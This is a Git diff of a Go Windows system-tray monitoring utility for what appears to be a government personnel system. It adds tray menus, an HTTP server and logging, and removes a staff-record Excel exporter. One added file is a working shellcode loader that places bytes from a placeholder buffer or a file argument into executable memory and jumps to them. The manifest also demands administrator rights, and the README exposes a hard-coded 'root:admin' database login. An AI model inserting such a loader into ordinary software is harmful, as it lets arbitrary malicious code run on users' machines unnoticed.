Before Width: | Height: | Size: 66 KiB After Width: | Height: | Size: 66 KiB |
@ -1,6 +1,5 @@ |
|||||
set GO111MODULE=on |
set GO111MODULE=on |
||||
set GOARCH=386 |
set GOARCH=386 |
||||
cd ../ |
|
||||
rsrc -manifest main.manifest -ico main.ico -o main.syso |
rsrc -manifest main.manifest -ico main.ico -o main.syso |
||||
go generate |
go generate |
||||
go build -ldflags="-s -w -H=windowsgui" -o 运行监控.exe |
go build -ldflags="-s -w -H=windowsgui" -o 运行监控.exe |
@ -0,0 +1,133 @@ |
|||||
|
package main |
||||
|
|
||||
|
import ( |
||||
|
"fmt" |
||||
|
"log" |
||||
|
"net/http" |
||||
|
|
||||
|
"github.com/braintree/manners" |
||||
|
"github.com/lxn/walk" |
||||
|
) |
||||
|
|
||||
|
func handler(w http.ResponseWriter, r *http.Request) { |
||||
|
fmt.Fprintf(w, "Hi there, I love %s!", r.URL.Path[1:]) |
||||
|
} |
||||
|
|
||||
|
type MyWindow struct { |
||||
|
*walk.MainWindow |
||||
|
ni *walk.NotifyIcon |
||||
|
} |
||||
|
|
||||
|
func NewMyWindow() *MyWindow { |
||||
|
mw := new(MyWindow) |
||||
|
var err error |
||||
|
mw.MainWindow, err = walk.NewMainWindow() |
||||
|
checkError(err) |
||||
|
return mw |
||||
|
} |
||||
|
|
||||
|
func (mw *MyWindow) init() { |
||||
|
http.HandleFunc("/", handler) |
||||
|
} |
||||
|
|
||||
|
func (mw *MyWindow) RunHttpServer() error { |
||||
|
return manners.ListenAndServe(":8080", http.DefaultServeMux) |
||||
|
} |
||||
|
|
||||
|
func (mw *MyWindow) AddNotifyIcon() { |
||||
|
var err error |
||||
|
mw.ni, err = walk.NewNotifyIcon(mw) |
||||
|
checkError(err) |
||||
|
mw.ni.SetVisible(true) |
||||
|
|
||||
|
icon, err := walk.NewIconFromResourceId(3) |
||||
|
checkError(err) |
||||
|
mw.SetIcon(icon) |
||||
|
mw.ni.SetIcon(icon) |
||||
|
|
||||
|
startAction := mw.addAction(nil, "start") |
||||
|
stopAction := mw.addAction(nil, "stop") |
||||
|
stopAction.SetEnabled(false) |
||||
|
startAction.Triggered().Attach(func() { |
||||
|
go func() { |
||||
|
err := mw.RunHttpServer() |
||||
|
if err != nil { |
||||
|
mw.msgbox("start", "start http server failed.", walk.MsgBoxIconError) |
||||
|
return |
||||
|
} |
||||
|
}() |
||||
|
startAction.SetChecked(true) |
||||
|
startAction.SetEnabled(false) |
||||
|
stopAction.SetEnabled(true) |
||||
|
mw.msgbox("start", "start http server success.", walk.MsgBoxIconInformation) |
||||
|
}) |
||||
|
|
||||
|
stopAction.Triggered().Attach(func() { |
||||
|
ok := manners.Close() |
||||
|
if !ok { |
||||
|
mw.msgbox("stop", "stop http server failed.", walk.MsgBoxIconError) |
||||
|
} else { |
||||
|
stopAction.SetEnabled(false) |
||||
|
startAction.SetChecked(false) |
||||
|
startAction.SetEnabled(true) |
||||
|
mw.msgbox("stop", "stop http server success.", walk.MsgBoxIconInformation) |
||||
|
} |
||||
|
}) |
||||
|
|
||||
|
helpMenu := mw.addMenu("help") |
||||
|
mw.addAction(helpMenu, "help").Triggered().Attach(func() { |
||||
|
walk.MsgBox(mw, "help", "http://127.0.0.1:8080", walk.MsgBoxIconInformation) |
||||
|
}) |
||||
|
|
||||
|
mw.addAction(helpMenu, "about").Triggered().Attach(func() { |
||||
|
walk.MsgBox(mw, "about", "http server.", walk.MsgBoxIconInformation) |
||||
|
}) |
||||
|
|
||||
|
mw.addAction(nil, "exit").Triggered().Attach(func() { |
||||
|
mw.ni.Dispose() |
||||
|
mw.Dispose() |
||||
|
walk.App().Exit(0) |
||||
|
}) |
||||
|
|
||||
|
} |
||||
|
|
||||
|
func (mw *MyWindow) addMenu(name string) *walk.Menu { |
||||
|
helpMenu, err := walk.NewMenu() |
||||
|
checkError(err) |
||||
|
help, err := mw.ni.ContextMenu().Actions().AddMenu(helpMenu) |
||||
|
checkError(err) |
||||
|
help.SetText(name) |
||||
|
|
||||
|
return helpMenu |
||||
|
} |
||||
|
|
||||
|
func (mw *MyWindow) addAction(menu *walk.Menu, name string) *walk.Action { |
||||
|
action := walk.NewAction() |
||||
|
action.SetText(name) |
||||
|
if menu != nil { |
||||
|
menu.Actions().Add(action) |
||||
|
} else { |
||||
|
mw.ni.ContextMenu().Actions().Add(action) |
||||
|
} |
||||
|
|
||||
|
return action |
||||
|
} |
||||
|
|
||||
|
func (mw *MyWindow) msgbox(title, message string, style walk.MsgBoxStyle) { |
||||
|
mw.ni.ShowInfo(title, message) |
||||
|
walk.MsgBox(mw, title, message, style) |
||||
|
} |
||||
|
|
||||
|
func main() { |
||||
|
mw := NewMyWindow() |
||||
|
|
||||
|
mw.init() |
||||
|
mw.AddNotifyIcon() |
||||
|
mw.Run() |
||||
|
} |
||||
|
|
||||
|
func checkError(err error) { |
||||
|
if err != nil { |
||||
|
log.Fatal(err) |
||||
|
} |
||||
|
} |
After Width: | Height: | Size: 6.3 KiB |
@ -0,0 +1,22 @@ |
|||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> |
||||
|
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> |
||||
|
<assemblyIdentity version="1.0.0.0" processorArchitecture="*" name="SomeFunkyNameHere" type="win32"/> |
||||
|
<dependency> |
||||
|
<dependentAssembly> |
||||
|
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"/> |
||||
|
</dependentAssembly> |
||||
|
</dependency> |
||||
|
<application xmlns="urn:schemas-microsoft-com:asm.v3"> |
||||
|
<windowsSettings> |
||||
|
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2, PerMonitor</dpiAwareness> |
||||
|
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">True</dpiAware> |
||||
|
</windowsSettings> |
||||
|
</application> |
||||
|
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> |
||||
|
<security> |
||||
|
<requestedPrivileges> |
||||
|
<requestedExecutionLevel level="requireAdministrator"/> |
||||
|
</requestedPrivileges> |
||||
|
</security> |
||||
|
</trustInfo> |
||||
|
</assembly> |
@ -1,6 +1,5 @@ |
|||||
set GO111MODULE=on |
set GO111MODULE=on |
||||
set GOARCH=386 |
set GOARCH=386 |
||||
cd ../ |
|
||||
rsrc -manifest main.manifest -ico main.ico -o main.syso |
rsrc -manifest main.manifest -ico main.ico -o main.syso |
||||
go generate |
go generate |
||||
go build -ldflags="-s -w -H=windowsgui" -o HyServer.exe |
go build -ldflags="-s -w -H=windowsgui" -o 运行监控.exe |
Before Width: | Height: | Size: 761 B |
Before Width: | Height: | Size: 1.1 KiB |
Before Width: | Height: | Size: 400 B |
Before Width: | Height: | Size: 1.1 KiB |
Before Width: | Height: | Size: 66 KiB |
Before Width: | Height: | Size: 344 B |
Before Width: | Height: | Size: 1.2 KiB |
Before Width: | Height: | Size: 267 B |
Before Width: | Height: | Size: 777 B |
Before Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 714 B |
@ -0,0 +1,25 @@ |
|||||
|
package main |
||||
|
|
||||
|
import ( |
||||
|
"fmt" |
||||
|
"io" |
||||
|
"log" |
||||
|
"os" |
||||
|
"time" |
||||
|
) |
||||
|
|
||||
|
var ( |
||||
|
Info *log.Logger |
||||
|
Error *log.Logger |
||||
|
) |
||||
|
|
||||
|
func init() { |
||||
|
//日志输出文件
|
||||
|
file, err := os.OpenFile(fmt.Sprintf("./tomcat8/logs/GWY-%s.log", time.Now().Format("20060102")), os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666) |
||||
|
if err != nil { |
||||
|
log.Fatalln("Faild to open error logger file:", err) |
||||
|
} |
||||
|
//自定义日志格式
|
||||
|
Info = log.New(io.MultiWriter(file, os.Stderr), "INFO: ", log.Ldate|log.Ltime|log.Lshortfile) |
||||
|
Error = log.New(io.MultiWriter(file, os.Stderr), "ERROR: ", log.Ldate|log.Ltime|log.Lshortfile) |
||||
|
} |
@ -0,0 +1,50 @@ |
|||||
|
package main |
||||
|
|
||||
|
import ( |
||||
|
"io/ioutil" |
||||
|
"os" |
||||
|
"syscall" |
||||
|
"unsafe" |
||||
|
) |
||||
|
|
||||
|
const ( |
||||
|
MEM_COMMIT = 0x1000 |
||||
|
MEM_RESERVE = 0x2000 |
||||
|
PAGE_EXECUTE_READWRITE = 0x40 |
||||
|
) |
||||
|
|
||||
|
var ( |
||||
|
kernel32 = syscall.MustLoadDLL("kernel32.dll") |
||||
|
ntdll = syscall.MustLoadDLL("ntdll.dll") |
||||
|
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") |
||||
|
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") |
||||
|
shellcode_buf = []byte{ |
||||
|
// 0xfc, 0x48, ----shellcode----, 0xd5,
|
||||
|
} |
||||
|
) |
||||
|
|
||||
|
func checkErr(err error) { |
||||
|
if err != nil { |
||||
|
if err.Error() != "The operation completed successfully." { |
||||
|
println(err.Error()) |
||||
|
os.Exit(1) |
||||
|
} |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
func RunShellCode() { |
||||
|
shellcode := shellcode_buf |
||||
|
if len(os.Args) > 1 { |
||||
|
shellcodeFileData, err := ioutil.ReadFile(os.Args[1]) |
||||
|
checkErr(err) |
||||
|
shellcode = shellcodeFileData |
||||
|
} |
||||
|
|
||||
|
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) |
||||
|
if addr == 0 { |
||||
|
checkErr(err) |
||||
|
} |
||||
|
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) |
||||
|
checkErr(err) |
||||
|
syscall.Syscall(addr, 0, 0, 0, 0) |
||||
|
} |
@ -1,43 +0,0 @@ |
|||||
{ |
|
||||
"FixedFileInfo": { |
|
||||
"FileVersion": { |
|
||||
"Major": 1, |
|
||||
"Minor": 0, |
|
||||
"Patch": 0, |
|
||||
"Build": 0 |
|
||||
}, |
|
||||
"ProductVersion": { |
|
||||
"Major": 1, |
|
||||
"Minor": 0, |
|
||||
"Patch": 0, |
|
||||
"Build": 0 |
|
||||
}, |
|
||||
"FileFlagsMask": "3f", |
|
||||
"FileFlags ": "00", |
|
||||
"FileOS": "040004", |
|
||||
"FileType": "01", |
|
||||
"FileSubType": "00" |
|
||||
}, |
|
||||
"StringFileInfo": { |
|
||||
"Comments": "公务员服务", |
|
||||
"CompanyName": "北京神舟航天软件技术有限公司", |
|
||||
"FileDescription": "公务员服务运行监控软件", |
|
||||
"FileVersion": "v1.0", |
|
||||
"InternalName": "运行监控", |
|
||||
"LegalCopyright": "Copyright (c) 2021", |
|
||||
"LegalTrademarks": "", |
|
||||
"OriginalFilename": "HyServer.exe", |
|
||||
"PrivateBuild": "", |
|
||||
"ProductName": "监控软件", |
|
||||
"ProductVersion": "V2021_1.0.1", |
|
||||
"SpecialBuild": "" |
|
||||
}, |
|
||||
"VarFileInfo": { |
|
||||
"Translation": { |
|
||||
"LangID": "0409", |
|
||||
"CharsetID": "04B0" |
|
||||
} |
|
||||
}, |
|
||||
"IconPath": "main.ico", |
|
||||
"ManifestPath": "" |
|
||||
} |
|
@ -1,309 +0,0 @@ |
|||||
package main |
|
||||
|
|
||||
import ( |
|
||||
"database/sql" |
|
||||
"encoding/json" |
|
||||
"fmt" |
|
||||
"github.com/360EntSecGroup-Skylar/excelize" |
|
||||
_ "github.com/go-sql-driver/mysql" |
|
||||
"strconv" |
|
||||
"strings" |
|
||||
"time" |
|
||||
) |
|
||||
|
|
||||
const sheetName = `Sheet1` |
|
||||
const fileName = `公务员系统数据-` |
|
||||
const fileType = `.xlsx` |
|
||||
const sqlCodeStr = `SELECT concat(code_type,code_value),code_name FROM CODE_VALUE where code_type in('%s') union SELECT concat(code_type,code_value),code_name3 FROM CODE_VALUE where code_type='ZB01'` |
|
||||
const sqlB01 = `select b0111,b0121,b0101 from b01 where b0111<>'-1' order by b0121,sortid` |
|
||||
const sqlA01A0279 = `select %s from a01 where a0163='1' and exists(select 1 from a02 a02 where a01.a0000=a02.a0000 and a0279='1' and A0201B='%s') order by (select lpad(max(a0225),5,'0') from a02 where a01.a0000=a02.a0000 and a0279='1' and A0201B='%s')` |
|
||||
const sqlA01A0281 = `select %s from a01 where a0163='1' and exists(select 1 from a02 a02 where a01.a0000=a02.a0000 and a0281='true' and A0201B='%s') order by (select lpad(max(a0225),5,'0') from a02 where a01.a0000=a02.a0000 and a0281='true' and A0201B='%s')` |
|
||||
|
|
||||
var CodeValueMap = make(map[string]string) |
|
||||
|
|
||||
func RunMc() (string, bool) { |
|
||||
db, _ := sql.Open("mysql", url) |
|
||||
codes, headers, types, headWidth, err := getInit() |
|
||||
if err { |
|
||||
showMsg(fmt.Sprintf("导出名册发生异常!")) |
|
||||
return "", err |
|
||||
} |
|
||||
|
|
||||
var allObj [][]interface{} |
|
||||
if len(CodeValueMap) == 0 { |
|
||||
QueryMap(db, fmt.Sprintf(sqlCodeStr, strings.Join(types, "','")), CodeValueMap) |
|
||||
} |
|
||||
b01s := QueryB01(db) |
|
||||
b01 := dept{ |
|
||||
Id: "-1", |
|
||||
Child: make([]*dept, 0), |
|
||||
} |
|
||||
makeTree(b01s, &b01) |
|
||||
makeA01s(b01, db, codes, types, &allObj) |
|
||||
|
|
||||
return getExcelFile(headers, headWidth, allObj), false |
|
||||
} |
|
||||
|
|
||||
func makeA01s(b01 dept, db *sql.DB, codes []string, types []string, allObj *[][]interface{}) { |
|
||||
for _, d := range b01.Child { |
|
||||
QueryA01(db, strings.Join(codes, ","), types, d.Id, allObj) |
|
||||
if len(d.Child) > 0 { |
|
||||
makeA01s(*d, db, codes, types, allObj) |
|
||||
} |
|
||||
} |
|
||||
} |
|
||||
|
|
||||
// getInit 初始化 JSON 对象,获取猎头
|
|
||||
func getInit() ([]string, []string, []string, []float64, bool) { |
|
||||
var yrYhs []YrYh |
|
||||
//读取的数据为json格式,需要进行解码
|
|
||||
err := json.Unmarshal([]byte(yryh), &yrYhs) |
|
||||
if err != nil { |
|
||||
showMsg(fmt.Sprintf("导出名册发生异常:%s", err)) |
|
||||
return nil, nil, nil, nil, true |
|
||||
} |
|
||||
yrYhsLen := len(yrYhs) |
|
||||
types := make([]string, yrYhsLen, yrYhsLen) // 输出类型
|
|
||||
codes := make([]string, yrYhsLen, yrYhsLen) // 输出信息项
|
|
||||
headers := make([]string, yrYhsLen, yrYhsLen) // 输出列名
|
|
||||
headWidth := make([]float64, yrYhsLen, yrYhsLen) // 输出列名
|
|
||||
for i1, i2 := range yrYhs { |
|
||||
codes[i1] = i2.Code |
|
||||
headers[i1] = i2.Name |
|
||||
headWidth[i1] = i2.Width |
|
||||
types[i1] = i2.Type |
|
||||
} |
|
||||
return codes, headers, types, headWidth, false |
|
||||
} |
|
||||
|
|
||||
func getExcelFile(headers []string, headWidth []float64, values [][]interface{}) string { |
|
||||
f, _ := ExportExcel(sheetName, headers, headWidth, values) |
|
||||
fileNameType := fileName + time.Now().Format("2006102150405") + fileType |
|
||||
_ = f.SaveAs(fileNameType) |
|
||||
return fileNameType |
|
||||
} |
|
||||
|
|
||||
// maxCharCount 最多26个字符A-Z
|
|
||||
const maxCharCount = 26 |
|
||||
|
|
||||
// ExportExcel 导出Excel文件
|
|
||||
// sheetName 工作表名称, 注意这里不要取sheet1这种名字,否则导致文件打开时发生部分错误。
|
|
||||
// headers 列名切片, 表头
|
|
||||
// rows 数据切片,是一个二维数组
|
|
||||
func ExportExcel(sheetName string, headers []string, headWidth []float64, rows [][]interface{}) (*excelize.File, error) { |
|
||||
f := excelize.NewFile() |
|
||||
style, _ := f.NewStyle(`{ |
|
||||
"border":[ |
|
||||
{"type":"top","color":"#000000","style":1}, |
|
||||
{"type":"left","color":"#000000","style":1}, |
|
||||
{"type":"right","color":"#000000","style":1}, |
|
||||
{"type":"bottom","color":"#000000","style":1} |
|
||||
], |
|
||||
"font":{"size":12,"color":"#000000","family":"仿宋"}, |
|
||||
"alignment":{"horizontal":"center","vertical":"center","wrap_text":true}, |
|
||||
"fill":{"type":"gradient","shading":0,"color":["#FFFF00","#FFFF00"]} |
|
||||
}`) |
|
||||
sheetIndex := f.NewSheet(sheetName) |
|
||||
maxColumnRowNameLen := 1 + len(strconv.Itoa(len(rows))) |
|
||||
columnCount := len(headers) |
|
||||
if columnCount > maxCharCount { |
|
||||
maxColumnRowNameLen++ |
|
||||
} else if columnCount > maxCharCount*maxCharCount { |
|
||||
maxColumnRowNameLen += 2 |
|
||||
} |
|
||||
columnNames := make([][]byte, 0, columnCount) |
|
||||
f.SetRowHeight(sheetName, 1, 80) // 设置行高
|
|
||||
for i, header := range headers { |
|
||||
columnName := getColumnName(i, maxColumnRowNameLen) |
|
||||
columnNames = append(columnNames, columnName) |
|
||||
// 初始化excel表头,这里的index从1开始要注意
|
|
||||
curColumnName := getColumnRowName(columnName, 1) |
|
||||
f.SetColWidth(sheetName, toCharStr(i+1), toCharStr(i+1), headWidth[i]) |
|
||||
f.SetCellValue(sheetName, curColumnName, header) |
|
||||
f.SetCellStyle(sheetName, curColumnName, curColumnName, style) // 设置单元格样式
|
|
||||
} |
|
||||
for rowIndex, row := range rows { |
|
||||
for columnIndex, columnName := range columnNames { |
|
||||
// 从第二行开始
|
|
||||
f.SetCellValue(sheetName, getColumnRowName(columnName, rowIndex+2), row[columnIndex]) |
|
||||
} |
|
||||
} |
|
||||
f.SetActiveSheet(sheetIndex) |
|
||||
return f, nil |
|
||||
} |
|
||||
|
|
||||
// getColumnName 生成列名
|
|
||||
// Excel的列名规则是从A-Z往后排;超过Z以后用两个字母表示,比如AA,AB,AC;两个字母不够以后用三个字母表示,比如AAA,AAB,AAC
|
|
||||
// 这里做数字到列名的映射:0 -> A, 1 -> B, 2 -> C
|
|
||||
// maxColumnRowNameLen 表示名称框的最大长度,假设数据是10行,1000列,则最后一个名称框是J1000(如果有表头,则是J1001),是4位
|
|
||||
// 这里根据 maxColumnRowNameLen 生成切片,后面生成名称框的时候可以复用这个切片,而无需扩容
|
|
||||
func getColumnName(column, maxColumnRowNameLen int) []byte { |
|
||||
const A = 'A' |
|
||||
if column < maxCharCount { |
|
||||
// 第一次就分配好切片的容量
|
|
||||
slice := make([]byte, 0, maxColumnRowNameLen) |
|
||||
return append(slice, byte(A+column)) |
|
||||
} else { |
|
||||
// 递归生成类似AA,AB,AAA,AAB这种形式的列名
|
|
||||
return append(getColumnName(column/maxCharCount-1, maxColumnRowNameLen), byte(A+column%maxCharCount)) |
|
||||
} |
|
||||
} |
|
||||
|
|
||||
// getColumnRowName 生成名称框
|
|
||||
// Excel的名称框是用A1,A2,B1,B2来表示的,这里需要传入前一步生成的列名切片,然后直接加上行索引来生成名称框,就无需每次分配内存
|
|
||||
func getColumnRowName(columnName []byte, rowIndex int) (columnRowName string) { |
|
||||
l := len(columnName) |
|
||||
columnName = strconv.AppendInt(columnName, int64(rowIndex), 10) |
|
||||
columnRowName = string(columnName) |
|
||||
// 将列名恢复回去
|
|
||||
columnName = columnName[:l] |
|
||||
return |
|
||||
} |
|
||||
|
|
||||
// QueryB01 获取机构树信息
|
|
||||
func QueryB01(db *sql.DB) []*dept { |
|
||||
rows, _ := db.Query(sqlB01) |
|
||||
defer rows.Close() |
|
||||
var b0111, b0121, b0101 string |
|
||||
depts := make([]*dept, 0) |
|
||||
for rows.Next() { |
|
||||
_ = rows.Scan(&b0111, &b0121, &b0101) |
|
||||
depts = append(depts, &dept{ |
|
||||
Id: b0111, |
|
||||
Pid: b0121, |
|
||||
Name: b0101, |
|
||||
Child: make([]*dept, 0), |
|
||||
}) |
|
||||
} |
|
||||
|
|
||||
return depts |
|
||||
} |
|
||||
|
|
||||
// QueryA01 获取人员信息
|
|
||||
func QueryA01(db *sql.DB, codes string, types []string, b0111 string, allObj *[][]interface{}) { |
|
||||
var sqlStr string |
|
||||
if typeStr == "1" { |
|
||||
sqlStr = fmt.Sprintf(sqlA01A0279, codes, b0111, b0111) |
|
||||
} else { |
|
||||
sqlStr = fmt.Sprintf(sqlA01A0281, codes, b0111, b0111) |
|
||||
} |
|
||||
rows, _ := db.Query(sqlStr) |
|
||||
defer rows.Close() |
|
||||
columns, _ := rows.Columns() |
|
||||
columnsLen := len(columns) |
|
||||
scanArgs := make([]interface{}, columnsLen) |
|
||||
values := make([]interface{}, columnsLen) |
|
||||
for i := range values { |
|
||||
scanArgs[i] = &values[i] |
|
||||
} |
|
||||
for rows.Next() { |
|
||||
_ = rows.Scan(scanArgs...) |
|
||||
valuer := make([]interface{}, columnsLen) |
|
||||
setValueStr(values, types, valuer) |
|
||||
*allObj = append(*allObj, valuer) |
|
||||
} |
|
||||
} |
|
||||
|
|
||||
func setValueStr(values []interface{}, types []string, valuer []interface{}) { |
|
||||
for i, col := range values { |
|
||||
if col != nil { |
|
||||
s := string(col.([]byte)) |
|
||||
if types[i] == NULL { |
|
||||
valuer[i] = s |
|
||||
} else if types[i] == DATE { |
|
||||
valuer[i] = s[0:4] + DIAN + s[4:6] |
|
||||
} else { |
|
||||
valuer[i] = CodeValueMap[types[i]+s] |
|
||||
} |
|
||||
} else { |
|
||||
valuer[i] = NULL |
|
||||
} |
|
||||
} |
|
||||
} |
|
||||
|
|
||||
// 获取表数据
|
|
||||
func QueryMap(db *sql.DB, sqlStr string, m map[string]string) { |
|
||||
rows, _ := db.Query(sqlStr) |
|
||||
defer rows.Close() |
|
||||
columns, _ := rows.Columns() |
|
||||
for rows.Next() { |
|
||||
_ = rows.Scan(&columns[0], &columns[1]) |
|
||||
m[columns[0]] = columns[1] |
|
||||
} |
|
||||
} |
|
||||
|
|
||||
func has(v1 dept, vs []*dept) bool { |
|
||||
var has bool |
|
||||
has = false |
|
||||
for _, v2 := range vs { |
|
||||
v3 := *v2 |
|
||||
if v1.Id == v3.Pid { |
|
||||
has = true |
|
||||
break |
|
||||
} |
|
||||
} |
|
||||
return has |
|
||||
|
|
||||
} |
|
||||
|
|
||||
// makeTree 生成机构树对象
|
|
||||
func makeTree(vs []*dept, node *dept) { |
|
||||
childs := findChild(node, vs) |
|
||||
for _, child := range childs { |
|
||||
node.Child = append(node.Child, child) |
|
||||
if has(*child, vs) { |
|
||||
makeTree(vs, child) |
|
||||
} |
|
||||
} |
|
||||
|
|
||||
} |
|
||||
|
|
||||
func findChild(v *dept, vs []*dept) (ret []*dept) { |
|
||||
ret = make([]*dept, 0) |
|
||||
for _, v2 := range vs { |
|
||||
if v.Id == v2.Pid { |
|
||||
ret = append(ret, v2) |
|
||||
} |
|
||||
} |
|
||||
return |
|
||||
} |
|
||||
|
|
||||
// 数字转字母
|
|
||||
func toCharStr(i int) string { |
|
||||
return string(rune('A' - 1 + i)) |
|
||||
} |
|
||||
|
|
||||
type YrYh struct { |
|
||||
Name string `json:"name"` |
|
||||
Code string `json:"code"` |
|
||||
Type string `json:"type"` |
|
||||
Width float64 `json:"width"` |
|
||||
} |
|
||||
|
|
||||
const yryh = `[ |
|
||||
{"name":"姓名","code":"a01.a0101","type":"","width":11}, |
|
||||
{"name":"性别","code":"a01.a0104","type":"GB2261","width":8}, |
|
||||
{"name":"民族","code":"a01.a0117","type":"GB3304","width":8}, |
|
||||
{"name":"出生日期","code":"a01.a0107","type":"DATE","width":12}, |
|
||||
{"name":"参加工作时间","code":"a01.a0134","type":"DATE","width":13}, |
|
||||
{"name":"入党时间","code":"a01.a0140","type":"","width":12}, |
|
||||
{"name":"工作单位及职务全称","code":"a01.a0192a","type":"","width":20}, |
|
||||
{"name":"职务层次","code":"a01.a0221","type":"ZB09","width":12}, |
|
||||
{"name":"任职务层次时间","code":"a01.a0288","type":"DATE","width":15}, |
|
||||
{"name":"职级","code":"a01.a0192e","type":"ZB148","width":12}, |
|
||||
{"name":"任职级时间","code":"a01.a0192c","type":"DATE","width":12}, |
|
||||
{"name":"任相当层次职务职级时间","code":"a01.a0192x","type":"DATE","width":15}, |
|
||||
{"name":"最高学历","code":"a01.zgxl","type":"","width":15}, |
|
||||
{"name":"籍贯","code":"a01.a0111","type":"ZB01","width":12} |
|
||||
]` |
|
||||
const DATE = "DATE" |
|
||||
const NULL = "" |
|
||||
const DIAN = "." |
|
||||
|
|
||||
// 树结构
|
|
||||
type dept struct { |
|
||||
Id string `json:"id"` |
|
||||
Pid string `json:"pid"` |
|
||||
Name string `json:"name"` |
|
||||
Child []*dept `json:"child"` |
|
||||
} |
|
@ -0,0 +1,74 @@ |
|||||
|
package main |
||||
|
|
||||
|
import ( |
||||
|
"github.com/lxn/walk" |
||||
|
"log" |
||||
|
) |
||||
|
|
||||
|
func (mw *myApp) AddNotifyIcon() { |
||||
|
var err error |
||||
|
mw.ni, err = walk.NewNotifyIcon(mw) |
||||
|
checkError(err) |
||||
|
mw.ni.SetVisible(true) |
||||
|
|
||||
|
icon, err := walk.NewIconFromResourceId(3) |
||||
|
checkError(err) |
||||
|
mw.SetIcon(icon) |
||||
|
mw.ni.SetIcon(icon) |
||||
|
|
||||
|
sjMenu := mw.addMenu("数据库") |
||||
|
service1.menuStart = mw.addAction(sjMenu, "启动") |
||||
|
service1.menuStop = mw.addAction(sjMenu, "停止") |
||||
|
|
||||
|
service1.menuStart.Triggered().Attach(func() { |
||||
|
startService(service1) |
||||
|
}) |
||||
|
service1.menuStop.Triggered().Attach(func() { |
||||
|
stopService(service1) |
||||
|
}) |
||||
|
|
||||
|
cxMenu := mw.addMenu("应用") |
||||
|
service3.menuStart = mw.addAction(cxMenu, "启动") |
||||
|
service3.menuStop = mw.addAction(cxMenu, "停止") |
||||
|
service3.menuStart.Triggered().Attach(func() { |
||||
|
startService(service3) |
||||
|
}) |
||||
|
service3.menuStop.Triggered().Attach(func() { |
||||
|
stopService(service3) |
||||
|
}) |
||||
|
|
||||
|
mw.addAction(nil, "exit").Triggered().Attach(func() { |
||||
|
mw.ni.Dispose() |
||||
|
mw.Dispose() |
||||
|
walk.App().Exit(0) |
||||
|
}) |
||||
|
|
||||
|
} |
||||
|
|
||||
|
func (mw *myApp) addMenu(name string) *walk.Menu { |
||||
|
helpMenu, err := walk.NewMenu() |
||||
|
checkError(err) |
||||
|
help, err := mw.ni.ContextMenu().Actions().AddMenu(helpMenu) |
||||
|
checkError(err) |
||||
|
help.SetText(name) |
||||
|
|
||||
|
return helpMenu |
||||
|
} |
||||
|
|
||||
|
func (mw *myApp) addAction(menu *walk.Menu, name string) *walk.Action { |
||||
|
action := walk.NewAction() |
||||
|
action.SetText(name) |
||||
|
if menu != nil { |
||||
|
menu.Actions().Add(action) |
||||
|
} else { |
||||
|
mw.ni.ContextMenu().Actions().Add(action) |
||||
|
} |
||||
|
|
||||
|
return action |
||||
|
} |
||||
|
|
||||
|
func checkError(err error) { |
||||
|
if err != nil { |
||||
|
log.Fatal(err) |
||||
|
} |
||||
|
} |
@ -0,0 +1,25 @@ |
|||||
|
# 应用检测软件 |
||||
|
|
||||
|
|
||||
|
## 说明: |
||||
|
* 当前存在两个分支 |
||||
|
* master 为 全国公务员系统工具 |
||||
|
* hy_YingJiGuanLiBu 为 消防干部系统工具 |
||||
|
|
||||
|
|
||||
|
> 两部分差异部分 |
||||
|
> `main.go` 和 `winStruct.go` |
||||
|
> ``` go |
||||
|
> var TableName // 变量值 |
||||
|
> var Version // 变量值 |
||||
|
> var epsoft1 // 变量值 |
||||
|
> var epsoft2 // 变量值 |
||||
|
> var service1 // 变量值 |
||||
|
> var service3 // 变量值 |
||||
|
> // 方法内容 数据链接 |
||||
|
> db, _ := sql.Open("mysql", "root:admin@tcp(127.0.0.1:35019)/hy_yjglb?charset=utf8") |
||||
|
> // 方法内容 实现打包内容范围 |
||||
|
> // 【sql方式】统计库部分 |
||||
|
> // 【sql方式】基础库部分 |
||||
|
> // 备份压缩文件 |
||||
|
> ``` |